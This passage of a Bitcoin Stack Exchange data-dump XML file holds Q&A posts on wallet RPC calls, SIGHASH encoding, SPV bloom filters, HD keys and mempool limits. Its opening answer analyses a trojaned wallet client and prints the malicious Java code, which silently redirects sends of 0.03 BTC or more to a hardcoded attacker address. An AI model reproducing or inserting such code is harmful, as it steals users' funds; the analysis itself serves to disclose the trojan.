&gt;= 0.03 btc (presumably to avoid detection for smaller amounts):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (validator.validate(sendAddress, sendAmount)) {&#xA;    // The address and amount are valid.&#xA;&#xA;    String kanau = &quot;1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAveNn&quot;;&#xA;    if ((sendAmount.startsWith(&quot;0.02&quot;)) || (sendAmount.startsWith(&quot;0.01&quot;)) || (sendAmount.startsWith(&quot;0.00&quot;))) {&#xA;        kanau = sendAddress;&#xA;    } else {&#xA;        kanau = &quot;1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAveNn&quot;;&#xA;    }&#xA;&#xA;    // Create a SendRequest.&#xA;    Address sendAddressObject;&#xA;&#xA;    sendAddressObject = new Address(bitcoinController.getModel().getNetworkParameters(), kanau);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The modification is none too clever, but it can unfortunately get the job done.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-04-27T17:45:15.793" LastActivityDate="2015-04-27T17:45:15.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37120" PostTypeId="2" ParentId="37118" CreationDate="2015-04-27T15:57:34.943" Score="10" Body="&lt;p&gt;&lt;code&gt;listunspent&lt;/code&gt; only displays information about addresses which are currently part of your wallet. Bitcoin Core does not maintain indexes of unspent outputs for addresses you do not own, and will simply return a blank set if you attempt to query for them. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-04-27T15:57:34.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37121" PostTypeId="2" ParentId="37112" CreationDate="2015-04-27T16:06:19.703" Score="0" Body="&lt;p&gt;The .csv format is 'comma separated variables', and is easily imported into Excel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, most of the blockchain data available will be a list with varying numbers of fields. This does not lend itself to a .csv file, so they're only available as .json files. These are not easily converted to simple m*n table that Excel will like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary: whether you'll be able to do what you want to do depends on which data you want.&lt;/p&gt;&#xA;" OwnerUserId="1611" LastActivityDate="2015-04-27T16:06:19.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37122" PostTypeId="2" ParentId="37118" CreationDate="2015-04-27T17:30:00.830" Score="0" Body="&lt;p&gt;Assuming the addresses are in your wallet, you're looking for &lt;code&gt;listreceivedbyaddress&lt;/code&gt;. That will give you back this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Returns an array of objects containing:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;quot;address&amp;quot; : receiving address&lt;/li&gt;&#xA;&lt;li&gt;&amp;quot;account&amp;quot; : the account of the receiving address&lt;/li&gt;&#xA;&lt;li&gt;&amp;quot;amount&amp;quot; : total amount received by the address&lt;/li&gt;&#xA;&lt;li&gt;&amp;quot;confirmations&amp;quot; : number of confirmations of the most recent transaction included&lt;/li&gt;&#xA;&lt;li&gt;&amp;quot;txids&amp;quot; : a list of transaction IDs that you can pass to &lt;code&gt;gettransaction&lt;/code&gt; in order to see the full transaction.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Source.)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-04-27T17:30:00.830" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="37123" PostTypeId="1" CreationDate="2015-04-27T18:37:46.500" Score="1" ViewCount="47" Body="&lt;p&gt;Is it legal for Bitcoin transaction to spend output back to one of the input addresses? Namely, to create a single address wallet (paper wallet), so that change addresses do not need to be generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like all popular wallets create change addresses for privacy reasons, but I'd like to know if this is also a limitation of protocol. Also asking this question separately from deterministic address generation.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2015-04-27T18:37:46.500" Title="Single address wallets - no change addresses" Tags="|address|change|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2015-04-27T18:44:37.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="37124" PostTypeId="1" CreationDate="2015-04-27T19:08:03.643" Score="5" ViewCount="475" Body="&lt;p&gt;Some SPV clients use the &lt;code&gt;filterload&lt;/code&gt; command to only receive transactions to involving addresses in their wallet. Doing this takes the remote node linear time (with respect to the number of transactions in the block), which seems suboptimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could we index transactions somehow so that we can answer these queries in faster than linear complexity? It seems possible, but I'm not sure how to go about it, especially in the presence of nTweak.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-28T00:49:44.520" Title="Is there a way to index transactions so that filterload commands can be answered without iterating through all transactions in a block?" Tags="|bip37-bloom-filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37125" PostTypeId="1" AcceptedAnswerId="37145" CreationDate="2015-04-27T22:24:19.223" Score="10" ViewCount="3115" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-guide#signature-hash-types&quot; rel=&quot;noreferrer&quot;&gt;This page describes SIGHASH flags:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;OP_CHECKSIG extracts a non-stack argument from each signature it evaluates, allowing the signer to decide which parts of the transaction to sign. Since the signature protects those parts of the transaction from modification, this lets signers selectively choose to let other people modify their transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But how can I extract the SIGHASH flags from the signature?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="47827" LastEditDate="2021-01-13T15:37:14.093" LastActivityDate="2021-01-13T15:37:14.093" Title="How are SIGHASH flags encoded into a signature?" Tags="|signature|sighash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37126" PostTypeId="2" ParentId="37125" CreationDate="2015-04-27T22:24:19.223" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/f425050546644a36b0b8e0eb2f6934a3e0f6f80f/src/script/interpreter.h#L21&quot; rel=&quot;nofollow&quot;&gt;This struct appears to describe the SIGHASH flags:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Signature hash types/flags */&#xA;enum&#xA;{&#xA;    SIGHASH_ALL = 1,&#xA;    SIGHASH_NONE = 2,&#xA;    SIGHASH_SINGLE = 3,&#xA;    SIGHASH_ANYONECANPAY = 0x80,&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it's encoded as the last byte. Note that SIGHASH_ANYONECANPAY can appear in conjunction with any of the three previous flags.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-29T01:13:32.830" LastActivityDate="2015-04-29T01:13:32.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37127" PostTypeId="5" CreationDate="2015-04-27T22:48:48.467" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-27T22:48:48.467" LastActivityDate="2015-04-27T22:48:48.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37128" PostTypeId="4" CreationDate="2015-04-27T22:48:48.467" Score="0" Body="Also known as filtered blocks. Useful for making clients that don't need to download the whole blockchain." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-27T22:48:48.467" LastActivityDate="2015-04-27T22:48:48.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37129" PostTypeId="5" CreationDate="2015-04-27T22:53:33.390" Score="0" Body="&lt;p&gt;Mostly BIP39, an open standard for encoding a seed as a series of common words, but also collects other methodologies.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="13866" LastEditDate="2023-05-11T14:04:03.457" LastActivityDate="2023-05-11T14:04:03.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37130" PostTypeId="4" CreationDate="2015-04-27T22:53:33.390" Score="0" Body="A way of writing down a small set of dictionary words from which a seed-number can be recreated. This allows a wallet to be recreated from a saved phrase after the wallet has been lost or destroyed. " OwnerUserId="2306" LastEditorUserId="13866" LastEditDate="2023-05-11T14:04:03.457" LastActivityDate="2023-05-11T14:04:03.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37131" PostTypeId="5" CreationDate="2015-04-27T22:54:58.863" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-27T22:54:58.863" LastActivityDate="2015-04-27T22:54:58.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37132" PostTypeId="4" CreationDate="2015-04-27T22:54:58.863" Score="0" Body="A standard Payment Protocol for Bitcoin which supports multiple arbitrary outputs, refunds, and signed payment requests." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-27T22:54:58.863" LastActivityDate="2015-04-27T22:54:58.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37133" PostTypeId="5" CreationDate="2015-04-27T22:56:37.823" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-27T22:56:37.823" LastActivityDate="2015-04-27T22:56:37.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37134" PostTypeId="4" CreationDate="2015-04-27T22:56:37.823" Score="0" Body="Secure passphrase encryption of a private key." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-27T22:56:37.823" LastActivityDate="2015-04-27T22:56:37.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37136" PostTypeId="2" ParentId="37124" CreationDate="2015-04-28T00:43:29.757" Score="7" Body="&lt;p&gt;There is a known but fairly undocumented method of drastically improving SPV filtering that happens to remove this as an issue entirely, but it comes at the cost of requiring a hard fork change to Bitcoin.&lt;/p&gt;&#xA;&lt;h2&gt;Traditional BIP37 SPV&lt;/h2&gt;&#xA;&lt;p&gt;For BIP37, a client sets bloom filters on their peers and sequentially downloads transactions and blocks, relying on the remote peer to sift through all the data for that peer and produce pruned blocks which match their filter.&lt;/p&gt;&#xA;&lt;p&gt;This is undesirable for a number of reasons:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In Bitcoin BIP37 bloom filtered SPV clients have &lt;a href=&quot;https://eprint.iacr.org/2014/763.pdf&quot; rel=&quot;noreferrer&quot;&gt;absolutely zero privacy&lt;/a&gt;, even when using unreasonably high false positive rates.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Nodes in the network have to process an extremely large amount of data to return the results for just a single peer, and repeat work for every single peer connected on the receipt of a new block.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;BIP37 SPV clients can be lied to by omission.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Peers loading an old wallet or rescanning one for transactions they may have missed must completely download all the filtered blocks, again at the cost of other network peers.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Bloom Filter Commitments&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Before mining, a bloom filter would be deterministically constructed of all the pubkey-hash (address) and pay-to-script-hash (P2SH) elements in the candidate block.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The hash of this bloom filter would be required to be placed near the top of the block templates Merkle tree, and the contents of it not otherwise written into the block in any form.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When validating the block, this bloom filter would be deterministically reconstructed and verified to match the hash located in the Merkle tree. If the hash of the filter does not match, the block is invalid.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fully validating nodes can cache the committed bloom filter to disk, or rebuild it at any time from the block data on disk as required (a time/storage tradeoff).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;The new process for SPV clients:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Download block headers, the full committed bloom filter for every block in the chain, and the short Merkle path to the bloom filter commitment hash. Verify the header is valid, verify the Merkle path to the hash, verify the bloom filter matches the hash.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Locally compare the bloom filter for potential matches with the users wallet data (addresses, P2SH scripts). The peer independently gets to decide what blocks are interesting to them and which ones are not without having to actually download the contents. Similarly to the normal operation of bloom filters in BIP37 false positives can occur, but never false negatives.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If a block is found that may be interesting they can download the entire block and process it to find their desired transactions.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;This neatly solves a number of issues with the traditional approach:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Random remote peers no longer get copies of the users bloom filter. They may be able to extrapolate that information from the blocks the client downloads, but the client can make many attempts to disguise this by downloading single blocks from various sources, making cover traffic of known uninteresting blocks, or even using non Bitcoin network storage once they know which blocks they are most likely interested in.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remote peers can no longer lie by omission to an SPV client. If they alter the bloom filter committed in the block, it will no longer match the hash in the block, and the SPV client will know they have been deceived.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;SPV clients can do quick rescans without needing to download any new data. By retaining the bloom filters once verifying them, they can do as many rescans against it without having to communicate with the network. For full storage nodes, this means significantly faster rescans without having to load whole blocks.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Nodes in the network no longer have any load serving SPV clients, beyond serving additional data when requested. It is their choice to cache the filters when verifying blocks (this comes at almost little cost as they would have to always create the filter anyway). This scales significantly better than BIP37 as the data remains the same for all peers, rather than having to be individually computed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It's unclear if this would ever gain traction enough to be implemented in a hard fork, or what the optimal false positive rate for the committed bloom filter would be (it's a decision that needs to be made carefully, it can only be done once). There's a nasty tradeoff for usefulness between the size of the filter and it's false positive rate: too coarse means peers download far too many false positive blocks, too fine means the filters will be absolutely gigantic and impractical for anybody to download on an SPV client.&lt;/p&gt;&#xA;&lt;p&gt;It's not obvious where that sweet spot is, or even if it exists.&lt;/p&gt;&#xA;" OwnerUserId="25250" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-04-28T00:49:44.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37137" PostTypeId="1" AcceptedAnswerId="37138" CreationDate="2015-04-28T01:02:56.203" Score="5" ViewCount="981" Body="&lt;p&gt;I know I can sign a piece of text using a bitcoin private key to prove control over a public address but are there any operations I can perform to know if a public key submitted to me was derived from a parent public key if I do not have any private keys at my disposal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at:&#xA;&lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/richardkiss/pycoin&lt;/a&gt; and &#xA;&lt;a href=&quot;https://github.com/jmcorgan/bip32utils&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jmcorgan/bip32utils&lt;/a&gt;&#xA;but have not yet found a way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any input :)&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="15533" LastEditDate="2015-04-28T03:47:48.310" LastActivityDate="2015-04-28T03:47:48.310" Title="Can I verify a sub public key came from it's parent public key in a HD wallet without involving any private keys?" Tags="|wallet|private-key|public-key|bip32-hd-wallets|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37138" PostTypeId="2" ParentId="37137" CreationDate="2015-04-28T01:26:29.407" Score="8" Body="&lt;p&gt;Yes, you can, assuming that the child key isn't hardened, and you know the chain code of the parent public key and the index of the child. (Also known as the extended public key.)&lt;/p&gt;&#xA;&lt;p&gt;Just compute&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;CKDpub((K&lt;sub&gt;par&lt;/sub&gt;, c&lt;sub&gt;par&lt;/sub&gt;), i) → (K&lt;sub&gt;i&lt;/sub&gt;, c&lt;sub&gt;i&lt;/sub&gt;)&lt;/p&gt;&#xA;&lt;p&gt;K&lt;sub&gt;par&lt;/sub&gt; is the parent public key, c&lt;sub&gt;par&lt;/sub&gt; is the chain code, i is the index, and K&lt;sub&gt;i&lt;/sub&gt; is the child public key&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;as defined &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki#public-parent-key--public-child-key&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; and compare it to the child key you were given.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-04-28T01:26:29.407" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37139" PostTypeId="1" AcceptedAnswerId="37297" CreationDate="2015-04-28T04:09:24.677" Score="4" ViewCount="399" Body="&lt;p&gt;I was wondering are there any recurring payment services aside from the obvious coinbase one out there. I want to be able to have a finer grain control. Say I wanted to send X amount of btc/altcoins to an address every 1week until it reaches a total of # of btc/altcoins or USD value.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2015-05-08T09:33:53.917" LastActivityDate="2015-12-05T21:33:43.380" Title="Recurring Bitcoin or Altcoin Payments as a Service?" Tags="|altcoin|services|recurring-payments|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37140" PostTypeId="1" CreationDate="2015-04-28T05:10:29.313" Score="2" ViewCount="137" Body="&lt;p&gt;I'm looking for a reliable, low cost, transparent and efficient way to make monthly loan repayments from Asia to the US each month. Are there any banks in the US that will accept bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm wondering: A) whether it is possible to translate Bitcoin to US dollars and B) whether any of the banks in the US accept and use them (yet)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other apparent options to solve my problem?&lt;/p&gt;&#xA;" OwnerUserId="25251" LastEditorUserId="5406" LastEditDate="2015-04-28T13:55:30.453" LastActivityDate="2015-07-04T19:50:39.723" Title="I am looking for a reliable and low cost way to make loan repayments from Asia to the US. Are there any banks in the US that will acept Bitcoins?" Tags="|exchanges|currencies|banks|remittance|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37141" PostTypeId="2" ParentId="37140" CreationDate="2015-04-28T10:44:11.323" Score="2" Body="&lt;p&gt;&quot;Translating&quot; a Bitcoin to a US dollar is selling it. There are plenty of services that will sell your Bitcoins, including Coinbase, Kraken, and Bitstamp. You just need to find one that will do what you want with the US dollars after they've sold them.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-04-28T10:44:11.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37142" PostTypeId="2" ParentId="17252" CreationDate="2015-04-28T10:48:33.253" Score="1" Body="&lt;p&gt;We've just made our exchange, MarginCall, open source. Check it out. We are going with a new project where everyone can run it's exchange and interconnect them into global ECN system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's written in Elixir and PHP, and also includes an API and clients for that API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitbucket.org/margincallio/&quot; rel=&quot;nofollow&quot;&gt;Source code.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/33y97d/our_contribution_to_bitcoin_community/&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/Bitcoin/comments/33y97d/our_contribution_to_bitcoin_community/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25253" LastEditorUserId="2306" LastEditDate="2015-04-28T18:50:14.213" LastActivityDate="2015-04-28T18:50:14.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37143" PostTypeId="2" ParentId="36877" CreationDate="2015-04-28T10:52:35.887" Score="1" Body="&lt;p&gt;I think your question is based on the flawed premise that this is a problem. While the network is split, at most one side has sufficient validators to fully-validated ledgers, even though both sides are making forward progress. It's also possible that neither side will have a super-majority, and thus while both sides will make forward progress, neither side will fully-validated any ledgers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the two sides rejoin, one chain or the other will acquire a super-majority due to avalanche of the validators as the network rejoins. This is better than not making forward progress during the split because network transaction capacity isn't lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During rejoin, a large number of otherwise-expensive checks are not needed. There's no need to execute transactions twice (once to decide how to vote on them and then again to determine their actual results). There's no need to retry transactions (since you know the order they executed in). And so on. All you have to do is build each ledger in the final accept process, which you need to do anyway because you need to update your databases, push transaction results to clients, and so on.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-04-28T10:52:35.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37144" PostTypeId="2" ParentId="37140" CreationDate="2015-04-28T10:57:45.587" Score="1" Body="&lt;p&gt;There are a number of services that allow you to pay bills via Bitcoin, such as for example &lt;a href=&quot;https://billpayforcoins.com/&quot; rel=&quot;nofollow&quot;&gt;BillPayForCoins&lt;/a&gt;&lt;sup&gt;*&lt;/sup&gt;, which sounds like a possible solution to your problem: They claim to allow you to &quot;Pay any bill with bitcoin!&quot; up to $9,000 per payment, although they charge a 2% [$2.49 – $75] fee, so there might be cheaper options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;*I have not used this service, nor do I endorse it in any way. I'm just making you aware of its existence: please exercise due diligence before settling for any service.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-04-29T14:48:02.110" LastActivityDate="2015-04-29T14:48:02.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37145" PostTypeId="2" ParentId="37125" CreationDate="2015-04-28T13:02:07.523" Score="13" Body="&lt;p&gt;The SIGHASH type is serialized as a single byte and then simply appended to the DER-encoded signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of a typical P2PKH scriptSig:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;304402206e3729f021476102a06ea453cea0a26cb9c096cca641efc4229c1111ed3a96fd022037dce1456a93f53d3e868c789b1b750a48a4c1110cd5b7049779b5f4f3c8b62001 03ff1104b46b2141df1948dd0df2223720a3a471ec57404cace47063843a699a0f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second element above is the public key, serialized as per &lt;a href=&quot;http://www.secg.org/sec1-v2.pdf#page=16&quot; rel=&quot;noreferrer&quot;&gt;SEC 1's Elliptic-Curve-Point-to-Octet-String Conversion&lt;/a&gt;. The first element is the DER encoded signature, with a 0x01 appended to specify it's a SIGHASH_ALL (whose values you've already found). To break the signature string down further, if you're interested:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30 &amp;lt;- a sequence&#xA;44 &amp;lt;- of length 0x44&#xA;  02 &amp;lt;- an integer&#xA;  20 &amp;lt;- of length 0x20&#xA;    6e3729f021476102a06ea453cea0a26cb9c096cca641efc4229c1111ed3a96fd &amp;lt;- r&#xA;  02 &amp;lt;- an integer&#xA;  20 &amp;lt;- of length 0x20&#xA;    37dce1456a93f53d3e868c789b1b750a48a4c1110cd5b7049779b5f4f3c8b620 &amp;lt;- s&#xA;01 &amp;lt;- SIGHASH type (not part of the DER encoding)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The SIGHASH type is also temporarily appended to the transaction before it is signed so that the signature precludes its modification, see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37093/what-goes-in-to-the-message-of-a-transaction-signature/37095#37095&quot;&gt;this answer&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-04-28T13:02:07.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37146" PostTypeId="1" AcceptedAnswerId="37147" CreationDate="2015-04-28T13:07:46.020" Score="1" ViewCount="824" Body="&lt;p&gt;I know litecoin was created back in the day using Scrypt as to make it more lightweight but also harder to build ASIC hardware from - so everyday computers could mine. Are there other algorithms one should be aware of nowadays? Possibly ones that require little resources and make it impractical to build ASICs.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="5406" LastEditDate="2016-03-31T16:20:11.657" LastActivityDate="2016-03-31T16:20:11.657" Title="What is the most lightweight proof-of-work algorithm?" Tags="|alternatives|proof-of-work|algorithms|mining-technical-details|asic-resistance|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37147" PostTypeId="2" ParentId="37146" CreationDate="2015-04-28T14:07:20.623" Score="7" Body="&lt;p&gt;Contrary to the name the proof of work used in Litecoin is significantly more difficult than SHA256 to verify (it slows sync times noticeably), while simultaneously not achieving it's goals of being only able to be mined on &lt;a href=&quot;https://web.archive.org/web/20120207123851/http://litecoin.org/&quot;&gt;a CPU&lt;/a&gt;, or &lt;a href=&quot;https://web.archive.org/web/20130601173957/http://www.litecoin.org/&quot;&gt;a GPU&lt;/a&gt; depending when you read the pitch on their website. It offers very little resistance to being mined on a GPU or ASIC, in fact its design is extremely well tailored to linear time-memory tradeoffs, which make the hardware cost even cheaper. Being harder to make an ASIC for isn't an asset either, it just means that they become less commodity hardware and more likely a monopoly of one or two players. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA256 is about as lightweight and as simple as you can get, avoiding hardware acceleration is not an achievable goal and probably not even desirable even if it were. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-04-28T14:38:35.907" LastActivityDate="2015-04-28T14:38:35.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37149" PostTypeId="2" ParentId="37118" CreationDate="2015-04-28T18:04:54.543" Score="0" Body="&lt;p&gt;Unspent data appears in &lt;strong&gt;Unspent List&lt;/strong&gt; only after SIX confirmations. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this command,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -regtest listunspent &quot;some bitcoin address&quot; 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will show all the unspent transactions.&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-04-28T18:04:54.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37150" PostTypeId="1" AcceptedAnswerId="37156" CreationDate="2015-04-28T19:06:33.167" Score="5" ViewCount="163" Body="&lt;p&gt;This page maintains a list of vulnerabilities found in Bitcoin, and when they were fixed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are major altcoins, being based off of the same code, vulnerable to the same attacks? If so, have they been patched?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-29T00:49:39.673" LastActivityDate="2015-04-29T06:16:39.710" Title="Have the security vulnerabilities found in Bitcoin been fixed in other altcoins?" Tags="|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37152" PostTypeId="1" CreationDate="2015-04-28T23:34:42.717" Score="8" ViewCount="1904" Body="&lt;p&gt;The memory pool holds unconfirmed transactions in RAM. It seems that memory pool storage could overflow if no block is solved for a very long time and many transactions are published within a short interval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In browsing the source code, I found no mention of a cap on the memory pool size:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.1/src/main.cpp#L934&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.10.1/src/main.cpp#L934&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a cap exist? If not, couldn't an attacker use the unbounded size of the memory pool to overflow the RAM of a large number of nodes, knocking them offline?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed two proposals that seemed to address this issue, but neither has made it through the approval process:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a 